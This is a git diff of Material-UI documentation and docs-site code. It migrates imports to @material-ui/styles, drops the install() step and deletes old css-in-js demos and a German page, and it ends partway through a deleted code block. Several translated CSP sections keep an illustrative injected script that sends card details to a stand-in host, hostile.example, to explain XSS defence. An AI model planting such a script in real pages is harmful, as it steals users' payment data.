diff --git a/docs/scripts/buildApi.js b/docs/scripts/buildApi.js
index 3f156b354d1158..ed72a3950c52c8 100644
--- a/docs/scripts/buildApi.js
+++ b/docs/scripts/buildApi.js
@@ -8,7 +8,7 @@ import generateMarkdown from '../src/modules/utils/generateMarkdown';
 import { findPagesMarkdown, findComponents } from '../src/modules/utils/find';
 import { getHeaders } from '../src/modules/utils/parseMarkdown';
 import createMuiTheme from '../../packages/material-ui/src/styles/createMuiTheme';
-import getStylesCreator from '../../packages/material-ui/src/styles/getStylesCreator';
+import getStylesCreator from '../../packages/material-ui-styles/src/getStylesCreator';
 
 function ensureExists(pat, mask, cb) {
   mkdir(pat, mask, err => {
diff --git a/docs/src/modules/components/AppWrapper.js b/docs/src/modules/components/AppWrapper.js
index cc3608bcd0288a..158ddfe6eacc8f 100644
--- a/docs/src/modules/components/AppWrapper.js
+++ b/docs/src/modules/components/AppWrapper.js
@@ -2,8 +2,7 @@ import React from 'react';
 import PropTypes from 'prop-types';
 import { connect } from 'react-redux';
 import url from 'url';
-import { MuiThemeProvider } from '@material-ui/core/styles';
-import { StylesProvider } from '@material-ui/styles';
+import { StylesProvider, ThemeProvider } from '@material-ui/styles';
 import acceptLanguage from 'accept-language';
 import { lightTheme, darkTheme, setPrismTheme } from '@material-ui/docs/MarkdownElement/prism';
 import { updatePageContext } from 'docs/src/modules/styles/getPageContext';
@@ -186,7 +185,7 @@ class AppWrapper extends React.Component {
         sheetsManager={pageContext.sheetsManager}
         sheetsRegistry={pageContext.sheetsRegistry}
       >
-        <MuiThemeProvider theme={pageContext.theme}>{children}</MuiThemeProvider>
+        <ThemeProvider theme={pageContext.theme}>{children}</ThemeProvider>
         <SideEffects />
       </StylesProvider>
     );
diff --git a/docs/src/modules/components/DemoFrame.js b/docs/src/modules/components/DemoFrame.js
index 07aa4ec89ee0f0..bb460dba3c1a2a 100644
--- a/docs/src/modules/components/DemoFrame.js
+++ b/docs/src/modules/components/DemoFrame.js
@@ -1,8 +1,8 @@
 import React from 'react';
 import PropTypes from 'prop-types';
 import { create } from 'jss';
-import { withStyles, jssPreset } from '@material-ui/core/styles';
-import { StylesProvider } from '@material-ui/styles';
+import { withStyles } from '@material-ui/core/styles';
+import { jssPreset, StylesProvider } from '@material-ui/styles';
 import NoSsr from '@material-ui/core/NoSsr';
 import rtl from 'jss-rtl';
 import Frame from 'react-frame-component';
diff --git a/docs/src/modules/components/bootstrap.js b/docs/src/modules/components/bootstrap.js
index 6af952cb7b9f94..388d2055e07a45 100644
--- a/docs/src/modules/components/bootstrap.js
+++ b/docs/src/modules/components/bootstrap.js
@@ -1,7 +1,6 @@
 // Use the same helper as Babel to avoid bundle bloat.
 import 'core-js/modules/es6.array.find-index';
 import 'core-js/modules/es6.set';
-import { install } from '@material-ui/styles';
 
 // Disable auto highlighting
 // https://github.com/PrismJS/prism/issues/765
@@ -9,5 +8,3 @@ if (process.browser) {
   window.Prism = window.Prism || {};
   window.Prism.manual = true;
 }
-
-install();
diff --git a/docs/src/modules/utils/getDemoConfig.js b/docs/src/modules/utils/getDemoConfig.js
index 33fb995a439b81..136e0b15b9b631 100644
--- a/docs/src/modules/utils/getDemoConfig.js
+++ b/docs/src/modules/utils/getDemoConfig.js
@@ -17,31 +17,6 @@ ReactDOM.render(<Demo />, document.querySelector('#root'));
   };
 }
 
-function hooksDemo(demoData) {
-  return {
-    dependencies: getDependencies(demoData.raw, { reactVersion: 'next' }),
-    files: {
-      'index.js': `
-import React from 'react';
-import ReactDOM from 'react-dom';
-import Demo from './demo';
-import { createMuiTheme } from "@material-ui/core/styles";
-import { ThemeProvider } from "@material-ui/styles";
-
-const theme = createMuiTheme();
-
-ReactDOM.render(
-  <ThemeProvider theme={theme}>
-    <Demo />
-  </ThemeProvider>,
-  document.querySelector("#root")
-);
-      `,
-      'demo.js': demoData.raw,
-    },
-  };
-}
-
 function tsDemo(demoData) {
   return {
     dependencies: getDependencies(demoData.raw, { codeLanguage: CODE_VARIANTS.TS }),
@@ -79,7 +54,6 @@ function getLanguageConfig(demoData) {
     case CODE_VARIANTS.TS:
       return tsDemo(demoData);
     case CODE_VARIANTS.HOOK:
-      return hooksDemo(demoData);
     case CODE_VARIANTS.JS:
       return jsDemo(demoData);
     default:
diff --git a/docs/src/pages/css-in-js/advanced/advanced-de.md b/docs/src/pages/css-in-js/advanced/advanced-de.md
index 0411064e3a8d8e..ec0173c4d75216 100644
--- a/docs/src/pages/css-in-js/advanced/advanced-de.md
+++ b/docs/src/pages/css-in-js/advanced/advanced-de.md
@@ -192,7 +192,7 @@ export default App;
 
 ## Klassennamen
 
-You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
+You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
 
 ```jsx
 const useStyles = makeStyles({
@@ -283,7 +283,7 @@ Basically, CSP mitigates cross-site scripting (XSS) attacks by requiring develop
     <script>
       sendCreditCardDetails('https://hostile.example');
     </script>
-    
+
 
 This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.
 
@@ -322,4 +322,4 @@ Then, you must pass this nonce to JSS so it can add it to subsequent `<style>` t
 
 ```jsx
 <meta property="csp-nonce" content={nonce} />
-```
\ No newline at end of file
+```
diff --git a/docs/src/pages/css-in-js/advanced/advanced-es.md b/docs/src/pages/css-in-js/advanced/advanced-es.md
index 1e1fba066e2a0b..646a9c5ab64832 100644
--- a/docs/src/pages/css-in-js/advanced/advanced-es.md
+++ b/docs/src/pages/css-in-js/advanced/advanced-es.md
@@ -192,7 +192,7 @@ export default App;
 
 ## Class names
 
-You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
+You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
 
 ```jsx
 const useStyles = makeStyles({
@@ -283,7 +283,7 @@ Basically, CSP mitigates cross-site scripting (XSS) attacks by requiring develop
     <script>
       sendCreditCardDetails('https://hostile.example');
     </script>
-    
+
 
 This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.
 
@@ -322,4 +322,4 @@ Then, you must pass this nonce to JSS so it can add it to subsequent `<style>` t
 
 ```jsx
 <meta property="csp-nonce" content={nonce} />
-```
\ No newline at end of file
+```
diff --git a/docs/src/pages/css-in-js/advanced/advanced-fr.md b/docs/src/pages/css-in-js/advanced/advanced-fr.md
index 9c92b4d588c728..6c8803493c8811 100644
--- a/docs/src/pages/css-in-js/advanced/advanced-fr.md
+++ b/docs/src/pages/css-in-js/advanced/advanced-fr.md
@@ -192,7 +192,7 @@ export default App;
 
 ## Class names
 
-You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
+You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
 
 ```jsx
 const useStyles = makeStyles({
@@ -283,7 +283,7 @@ Fondamentalement, CSP atténue les attaques XSS (Cross-Site Scripting) en oblige
     <script>
       sendCreditCardDetails('https://hostile.example');
     </script>
-    
+
 
 Cette vulnérabilité permettrait à l'attaquant d'exécuter n'importe quoi. Cependant, avec un en-tête CSP sécurisé, le navigateur ne chargera pas ce script.
 
@@ -322,4 +322,4 @@ Ensuite, vous devez transmettre ce nonce à JSS afin qu’il puisse l’ajouter
 
 ```jsx
 <meta property="csp-nonce" content={nonce} />
-```
\ No newline at end of file
+```
diff --git a/docs/src/pages/css-in-js/advanced/advanced-ja.md b/docs/src/pages/css-in-js/advanced/advanced-ja.md
index ada9af7e713c9c..f766af7d362013 100644
--- a/docs/src/pages/css-in-js/advanced/advanced-ja.md
+++ b/docs/src/pages/css-in-js/advanced/advanced-ja.md
@@ -192,7 +192,7 @@ export default App;
 
 ## Class names
 
-You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
+You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
 
 ```jsx
 const useStyles = makeStyles({
@@ -283,7 +283,7 @@ Basically, CSP mitigates cross-site scripting (XSS) attacks by requiring develop
     <script>
       sendCreditCardDetails('https://hostile.example');
     </script>
-    
+
 
 This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.
 
@@ -322,4 +322,4 @@ Then, you must pass this nonce to JSS so it can add it to subsequent `<style>` t
 
 ```jsx
 <meta property="csp-nonce" content={nonce} />
-```
\ No newline at end of file
+```
diff --git a/docs/src/pages/css-in-js/advanced/advanced-pt.md b/docs/src/pages/css-in-js/advanced/advanced-pt.md
index 427746e5027e5a..c9ed3520526702 100644
--- a/docs/src/pages/css-in-js/advanced/advanced-pt.md
+++ b/docs/src/pages/css-in-js/advanced/advanced-pt.md
@@ -192,7 +192,7 @@ export default App;
 
 ## Class names
 
-You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
+You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
 
 ```jsx
 const useStyles = makeStyles({
@@ -283,7 +283,7 @@ Basically, CSP mitigates cross-site scripting (XSS) attacks by requiring develop
     <script>
       sendCreditCardDetails('https://hostile.example');
     </script>
-    
+
 
 This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.
 
@@ -322,4 +322,4 @@ Then, you must pass this nonce to JSS so it can add it to subsequent `<style>` t
 
 ```jsx
 <meta property="csp-nonce" content={nonce} />
-```
\ No newline at end of file
+```
diff --git a/docs/src/pages/css-in-js/advanced/advanced-ru.md b/docs/src/pages/css-in-js/advanced/advanced-ru.md
index 5cf5548fbdc050..ea4275366686b6 100644
--- a/docs/src/pages/css-in-js/advanced/advanced-ru.md
+++ b/docs/src/pages/css-in-js/advanced/advanced-ru.md
@@ -192,7 +192,7 @@ export default App;
 
 ## Имена классов
 
-You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator) Let's take the following style as an example:
+You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator) Let's take the following style as an example:
 
 ```jsx
 const useStyles = makeStyles({
@@ -283,7 +283,7 @@ Basically, CSP mitigates cross-site scripting (XSS) attacks by requiring develop
     <script>
       sendCreditCardDetails('https://hostile.example');
     </script>
-    
+
 
 This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.
 
@@ -322,4 +322,4 @@ Then, you must pass this nonce to JSS so it can add it to subsequent `<style>` t
 
 ```jsx
 <meta property="csp-nonce" content={nonce} />
-```
\ No newline at end of file
+```
diff --git a/docs/src/pages/css-in-js/advanced/advanced-zh.md b/docs/src/pages/css-in-js/advanced/advanced-zh.md
index 249781955cbf9c..c157a26b1268c7 100644
--- a/docs/src/pages/css-in-js/advanced/advanced-zh.md
+++ b/docs/src/pages/css-in-js/advanced/advanced-zh.md
@@ -192,7 +192,7 @@ export default App;
 
 ## Class names
 
-您可能已经注意到我们的样式解决方案生成的类名称**不确定性**，所以你不能依赖它们保持不变。 类名由 [生成，我们的类名生成器](/css-in-js/api/#creategenerateclassname--options----class-name-generator) 让我们以下面的样式为例：
+您可能已经注意到我们的样式解决方案生成的类名称**不确定性**，所以你不能依赖它们保持不变。 类名由 [生成，我们的类名生成器](/css-in-js/api/#creategenerateclassname-options-class-name-generator) 让我们以下面的样式为例：
 
 ```jsx
 const useStyles = makeStyles({
@@ -283,7 +283,7 @@ const Button = withStyles(styles, { name: 'button' })(ButtonBase);
     <script>
       sendCreditCardDetails('https://hostile.example');
     </script>
-    
+
 
 此漏洞允许攻击者执行任何操作。 但是，使用安全的CSP标头，浏览器将不会加载此脚本。
 
@@ -322,4 +322,4 @@ header('Content-Security-Policy')
 
 ```jsx
 <meta property="csp-nonce" content={nonce} />
-```
\ No newline at end of file
+```
diff --git a/docs/src/pages/css-in-js/advanced/advanced.md b/docs/src/pages/css-in-js/advanced/advanced.md
index c9209118bfd41d..77f590e0af695d 100644
--- a/docs/src/pages/css-in-js/advanced/advanced.md
+++ b/docs/src/pages/css-in-js/advanced/advanced.md
@@ -203,7 +203,7 @@ export default App;
 
 You may have noticed that the class names generated by our styling solution are **non-deterministic**,
 so you can't rely on them to stay the same.
-The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname--options----class-name-generator)
+The class names are generated by [our class name generator](/css-in-js/api/#creategenerateclassname-options-class-name-generator)
 Let's take the following style as an example:
 
 ```jsx
@@ -273,11 +273,10 @@ We provide an option to make the class names **deterministic** with the [`danger
 - production: `.AppBar-root`
 
 ⚠️ **Be cautious when using `dangerouslyUseGlobalCSS`.**
-We provide this option as an escape hatch for prototyping.
 Relying on it for code running in production has the following implications:
 
-- Global CSS is inherently fragile. People use strict methodologies like [BEM](http://getbem.com/introduction/) to workaround the issue.
-- It's harder to keep track of `classes` API changes.
+- It's harder to keep track of `classes` API changes between major releases.
+- Global CSS is inherently fragile.
 
 ⚠️ When using `dangerouslyUseGlobalCSS` standalone (without Material-UI), you should name your style sheets using the `options` parameter:
 
diff --git a/docs/src/pages/css-in-js/basics/basics.md b/docs/src/pages/css-in-js/basics/basics.md
index 113beb7b22e3e5..791430ee2395f5 100644
--- a/docs/src/pages/css-in-js/basics/basics.md
+++ b/docs/src/pages/css-in-js/basics/basics.md
@@ -10,13 +10,13 @@ You can use it, but you don't have to. This styling solution is [interoperable w
 
 In previous versions, Material-UI has used LESS, then a custom inline-style solution to write the style of the
 components, but these approaches have proven to be limited. Most recently, we have [moved toward](https://github.com/oliviertassinari/a-journey-toward-better-style)
-a *CSS-in-JS* solution. It **unlocks many great features** (theme nesting, dynamic styles, self-support, etc.).
+a *CSS in JS* solution. It **unlocks many great features** (theme nesting, dynamic styles, self-support, etc.).
 We think that this is the future:
 
 - [A Unified Styling Language](https://medium.com/seek-blog/a-unified-styling-language-d0c208de2660)
-- [Convert SCSS (Sass) to CSS-in-JS](https://egghead.io/courses/convert-scss-sass-to-css-in-js)
+- [Convert SCSS (Sass) to CSS in JS](https://egghead.io/courses/convert-scss-sass-to-css-in-js)
 
-Material-UI's styling solution is inspired by many other CSS-in-JS libraries like [styled-components](https://www.styled-components.com/) and [emotion](https://emotion.sh/).
+Material-UI's styling solution is inspired by many other CSS in JS libraries like [styled-components](https://www.styled-components.com/) and [emotion](https://emotion.sh/).
 
 - 💅 You can expect [the same advantages](https://www.styled-components.com/docs/basics#motivation) as styled-components.
 - 🚀 It's [blazing fast](https://github.com/mui-org/material-ui/blob/next/packages/material-ui-benchmark/README.md#material-uistyles).
@@ -36,24 +36,6 @@ npm install @material-ui/styles
 yarn add @material-ui/styles
 ```
 
-### Migration for `@material-ui/core` users
-
-To switch from the default style implementation to this newest version, you need to execute the following code **before importing any** Material-UI's components:
-
-```js
-import { install } from '@material-ui/styles';
-
-install();
-```
-
-It is **recommended** to place the above code in a separate file (e.g. `bootstrap.js`) and to import it in your application's entry point (e.g. `index.js`).
-This ensures that the installation is executed before anything else, because ECMAScript imports are hoisted to the top of the module. If the installation step is not performed correctly the resulting build could have conflicting class names.
-
-We will make `@material-ui/styles` the default style implementation for the core components in Material-UI v4. This installation step is **temporary**.
-Behind the scenes, the `install()` function switches the styling engine the core components use.
-
-Also, the `@material-ui/core/MuiThemeProvider` component can be replaced with `@material-ui/styles/ThemeProvider`. We will remove this component in v4.
-
 ## Getting started
 
 We provide 3 different APIs. They all share the same underlying logic.
diff --git a/docs/src/pages/customization/css-in-js/CssInJs.js b/docs/src/pages/customization/css-in-js/CssInJs.js
deleted file mode 100644
index 1c53a1077da01c..00000000000000
--- a/docs/src/pages/customization/css-in-js/CssInJs.js
+++ /dev/null
@@ -1,60 +0,0 @@
-import React from 'react';
-import PropTypes from 'prop-types';
-import clsx from 'clsx';
-import { withStyles } from '@material-ui/core/styles';
-import Typography from '@material-ui/core/Typography';
-
-// 1. We define the styles.
-const styles = theme => ({
-  root: {
-    color: 'inherit',
-    textDecoration: 'inherit',
-    '&:hover': {
-      textDecoration: 'underline',
-    },
-  },
-  primary: {
-    color: theme.palette.primary.main,
-  },
-});
-
-function MyLink(props) {
-  const { children, classes, className, variant, ...other } = props;
-
-  return (
-    <a
-      className={clsx(
-        classes.root,
-        {
-          [classes.primary]: variant === 'primary',
-        },
-        className,
-      )}
-      {...other}
-    >
-      {children}
-    </a>
-  );
-}
-
-MyLink.propTypes = {
-  children: PropTypes.node.isRequired,
-  classes: PropTypes.object.isRequired,
-  className: PropTypes.string,
-  variant: PropTypes.oneOf(['primary']),
-};
-
-// 2. We inject the styles.
-const MyLinkStyled = withStyles(styles)(MyLink);
-
-export default function CssInJs() {
-  return (
-    <Typography variant="subtitle1">
-      <MyLinkStyled href="#">MyLink</MyLinkStyled>
-      {' - '}
-      <MyLinkStyled href="#" variant="primary">
-        {'primary'}
-      </MyLinkStyled>
-    </Typography>
-  );
-}
diff --git a/docs/src/pages/customization/css-in-js/Hook.js b/docs/src/pages/customization/css-in-js/Hook.js
deleted file mode 100644
index fcef28de3fa314..00000000000000
--- a/docs/src/pages/customization/css-in-js/Hook.js
+++ /dev/null
@@ -1,24 +0,0 @@
-import React from 'react';
-import { makeStyles } from '@material-ui/styles';
-import Button from '@material-ui/core/Button';
-
-const useStyles = makeStyles({
-  root: {
-    background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
-    border: 0,
-    color: props => props.color,
-    boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',
-    borderRadius: 3,
-    height: 48,
-    padding: '0 30px',
-  },
-});
-
-function Hook() {
-  const classes = useStyles({
-    color: 'white',
-  });
-  return <Button className={classes.root}>{'Hook'}</Button>;
-}
-
-export default Hook;
diff --git a/docs/src/pages/customization/css-in-js/RenderProps.js b/docs/src/pages/customization/css-in-js/RenderProps.js
deleted file mode 100644
index 2514571919230f..00000000000000
--- a/docs/src/pages/customization/css-in-js/RenderProps.js
+++ /dev/null
@@ -1,37 +0,0 @@
-import React from 'react';
-import PropTypes from 'prop-types';
-import { withStyles } from '@material-ui/core/styles';
-import Button from '@material-ui/core/Button';
-
-// A function you can extract and put into its own module.
-// Yes, 11 lines of code is all you need.
-function createStyled(styles, options) {
-  function Styled(props) {
-    const { children, ...other } = props;
-    return children(other);
-  }
-  Styled.propTypes = {
-    children: PropTypes.func.isRequired,
-    classes: PropTypes.object.isRequired,
-  };
-  return withStyles(styles, options)(Styled);
-}
-
-const Styled = createStyled({
-  root: {
-    background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
-    borderRadius: 3,
-    border: 0,
-    color: 'white',
-    height: 48,
-    padding: '0 30px',
-    boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',
-  },
-});
-
-function RenderProps() {
-  return (
-    <Styled>{({ classes }) => <Button className={classes.root}>{'Render props'}</Button>}</Styled>
-  );
-}
-export default RenderProps;
diff --git a/docs/src/pages/customization/css-in-js/StyledComponents.js b/docs/src/pages/customization/css-in-js/StyledComponents.js
deleted file mode 100644
index 1ae57ce8b53d46..00000000000000
--- a/docs/src/pages/customization/css-in-js/StyledComponents.js
+++ /dev/null
@@ -1,40 +0,0 @@
-import React from 'react';
-import clsx from 'clsx';
-import PropTypes from 'prop-types';
-import { withStyles } from '@material-ui/core/styles';
-import Button from '@material-ui/core/Button';
-
-// A function you can extract and put into its own module.
-// Yes, 15 lines of code, it's all you need.
-function styled(Component) {
-  return (style, options) => {
-    function StyledComponent(props) {
-      const { classes, className, ...other } = props;
-      return <Component className={clsx(classes.root, className)} {...other} />;
-    }
-    StyledComponent.propTypes = {
-      classes: PropTypes.object.isRequired,
-      className: PropTypes.string,
-    };
-    const styles =
-      typeof style === 'function' ? theme => ({ root: style(theme) }) : { root: style };
-    return withStyles(styles, options)(StyledComponent);
-  };
-}
-
-// You can even write CSS with https://github.com/cssinjs/jss-template.
-const MyButton = styled(Button)({
-  background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
-  borderRadius: 3,
-  border: 0,
-  color: 'white',
-  height: 48,
-  padding: '0 30px',
-  boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',
-});
-
-function StyledComponents() {
-  return <MyButton>{'Styled Components'}</MyButton>;
-}
-
-export default StyledComponents;
diff --git a/docs/src/pages/customization/css-in-js/css-in-js-de.md b/docs/src/pages/customization/css-in-js/css-in-js-de.md
deleted file mode 100644
index 8c6b18a1e96fbc..00000000000000
--- a/docs/src/pages/customization/css-in-js/css-in-js-de.md
+++ /dev/null
@@ -1,402 +0,0 @@
-# CSS in JS
-
-<p class="description">Sie können unsere Styling-Lösung auch nutzen, falls Sie unsere Komponenten nicht verwenden.</p>
-
-> ⚠️ Wir arbeiten daran, die Styling-Lösung in ein eigenes Paket zu migrieren: [`@material-ui/styles`](/css-in-js/basics/). Es ist ein instabiles Projekt (Alpha-Version). Hopefully, we will make it the default style implementation for the core components in Material-UI v4.
-
-Material-UI hat das Ziel, eine solide Grundlage für dynamische UIs zu schaffen. Der Einfachheit halber **stellen wir unseren Nutzern unsere Styling-Lösung bereit**. Sie können sie benutzen, aber Sie müssen nicht. Diese Styling-Lösung [funktioniert mit](/guides/interoperability/) allen anderen bekannten Lösungen.
-
-## Die Styling-Lösung von Material-UI
-
-In previous versions, Material-UI has used LESS, then a custom inline-style solution to write the style of the components, but these approaches have proven to be limited. Most recently, we have [moved toward](https://github.com/oliviertassinari/a-journey-toward-better-style) a *CSS-in-JS* solution. It **unlocks many great features** (theme nesting, dynamic styles, self-support, etc.). Wir denken, das ist die Zukunft:
-
-- [Eine vereinheitlichte Styling-Sprache](https://medium.com/seek-blog/a-unified-styling-language-d0c208de2660)
-- [Die Zukunft von komponentenbasierten Styling](https://medium.freecodecamp.org/css-in-javascript-the-future-of-component-based-styling-70b161a79a32)
-- [SCSS (Sass) in CSS-in-JS umwandeln](https://egghead.io/courses/convert-scss-sass-to-css-in-js)
-
-Vielleicht hast du es in den Demos bemerkt, wie *CSS-in-JS* aussieht. We use the higher-order component created by [`withStyles`](#api) to inject an array of styles into the DOM as CSS, using JSS. Hier ist ein Beispiel:
-
-{{"demo": "pages/customization/css-in-js/CssInJs.js"}}
-
-## JSS
-
-Material-UI's styling solution uses [JSS](https://github.com/cssinjs/jss) at its core. It's a [high performance](https://github.com/cssinjs/jss/blob/next/docs/performance.md) JS to CSS compiler which works at runtime and server-side. It is about 8 kB (minified and gzipped) and is extensible via a [plugins](https://github.com/cssinjs/jss/blob/next/docs/plugins.md) API.
-
-If you end up using this styling solution in your codebase, you're going to need to *learn the API*. The best place to start is by looking at the features that each [plugin](https://cssinjs.org/plugins/) provides. Material-UI uses [few of them](#plugins). You can always add new plugins if needed with the [`JssProvider`](https://github.com/cssinjs/react-jss#custom-setup) helper.
-
-If you wish to build your own instance of `jss` **and** support *rtl* make sure you also include the [jss-rtl](https://github.com/alitaheri/jss-rtl) plugin. Check the jss-rtl [readme](https://github.com/alitaheri/jss-rtl#simple-usage) to learn how.
-
-## Sheets registry
-
-When rendering on the server, you will need to get all rendered styles as a CSS string. The `SheetsRegistry` class allows you to manually aggregate and stringify them. Read more about [Server Rendering](/guides/server-rendering/).
-
-## Sheets manager
-
-The sheets manager uses a [reference counting](https://en.wikipedia.org/wiki/Reference_counting) algorithm in order to attach and detach the style sheets only once per (styles, theme) couple. This technique provides an important performance boost when re-rendering instances of a component.
-
-When only rendering on the client, that's not something you need to be aware of. However, when rendering on the server you do. You can read more about [Server Rendering](/guides/server-rendering/).
-
-## Klassennamen
-
-You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. Das folgende CSS wird nicht funktionieren:
-
-```css
-.MuiAppBar-root-12 {
-  opacity: 0.6
-}
-```
-
-Instead, you have to use the `classes` property of a component to override them. Andererseits erlaubt es uns die nicht-deterministische Natur der Klassennamen, Optimierungen für Entwicklung und Produktion zu implementieren. They are easy to debug in development and as short as possible in production:
-
-- development: `.MuiAppBar-root-12`
-- production: `.jss12`
-
-If you don't like this default behavior, you can change it. JSS basiert auf dem Konzept eines [Generators für Klassennamen](http://cssinjs.org/js-api/#generate-your-own-class-names).
-
-### Globales CSS
-
-Wir bieten eine eigene Implementierung des Klassennamen-Generators, die an die Anforderungen von Material-UI angepasst ist: [`createGenerateClassName()`](#creategenerateclassname-options-class-name-generator). As well as the option to make the class names **deterministic** with the `dangerouslyUseGlobalCSS` option. When turned on, the class names will look like this:
-
-- Entwicklung: `.MuiAppBar-root`
-- Produktion: `.MuiAppBar-root`
-
-⚠️ **Be cautious when using `dangerouslyUseGlobalCSS`.** We provide this option as an escape hatch for quick prototyping. Relying on it for code running in production has the following implications:
-
-- Global CSS is inherently fragile. People use strict methodologies like [BEM](http://getbem.com/introduction/) to workaround the issue.
-- It's harder to keep track of `classes` API changes.
-
-⚠️ When using `dangerouslyUseGlobalCSS` standalone (without Material-UI), you should name your style sheets. `withStyles` has a name option for that:
-
-```jsx
-const Button = withStyles(styles, { name: 'button' })(ButtonBase)
-```
-
-## CSS injection order
-
-The CSS injected by Material-UI to style a component has the highest specificity possible as the `<link>` is injected at the bottom of the `<head>` to ensure the components always render correctly.
-
-You might, however, also want to override these styles, for example with styled-components. If you are experiencing a CSS injection order issue, JSS [provides a mechanism](https://github.com/cssinjs/jss/blob/master/docs/setup.md#specify-the-dom-insertion-point) to handle this situation. By adjusting the placement of the `insertionPoint` within your HTML head you can [control the order](http://cssinjs.org/js-api/#attach-style-sheets-in-a-specific-order) that the CSS rules are applied to your components.
-
-### HTML-Kommentar
-
-The simplest approach is to add an HTML comment that determines where JSS will inject the styles:
-
-```jsx
-<head>
-  <!-- jss-insertion-point -->
-  <link href="..." />
-</head>
-```
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-  // We define a custom insertion point that JSS will look for injecting the styles in the DOM.
-  insertionPoint: 'jss-insertion-point',
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-### Other HTML element
-
-[Create React App](https://github.com/facebook/create-react-app) strips HTML comments when creating the production build. To get around the issue, you can provide a DOM element (other than a comment) as the JSS insertion point.
-
-For example, a `<noscript>` element:
-
-```jsx
-<head>
-  <noscript id="jss-insertion-point"></noscript>
-  <link href="..." />
-</head>
-```
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-  // We define a custom insertion point that JSS will look for injecting the styles in the DOM.
-  insertionPoint: document.getElementById('jss-insertion-point'),
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-### JS createComment
-
-codesandbox.io prevents the access to the `<head>` element. To get around the issue, you can use the JavaScript `document.createComment()` API:
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const styleNode = document.createComment("jss-insertion-point");
-document.head.insertBefore(styleNode, document.head.firstChild);
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-  // We define a custom insertion point that JSS will look for injecting the styles in the DOM.
-  insertionPoint: 'jss-insertion-point',
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## JssProvider
-
-react-jss exposes a `JssProvider` component to configure JSS for the underlying child components. There are different use cases:
-
-- Providing a class name generator.
-- [Providing a Sheets registry.](/customization/css-in-js/#sheets-registry)
-- Providing a JSS instance. You might want to support [Right-to-left](/guides/right-to-left/) or changing the [CSS injection order](/customization/css-in-js/#css-injection-order). Read [the JSS documentation](http://cssinjs.org/js-api/) to learn more about the options available. Here is an example:
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create(jssPreset());
-
-function App() {
-  return (
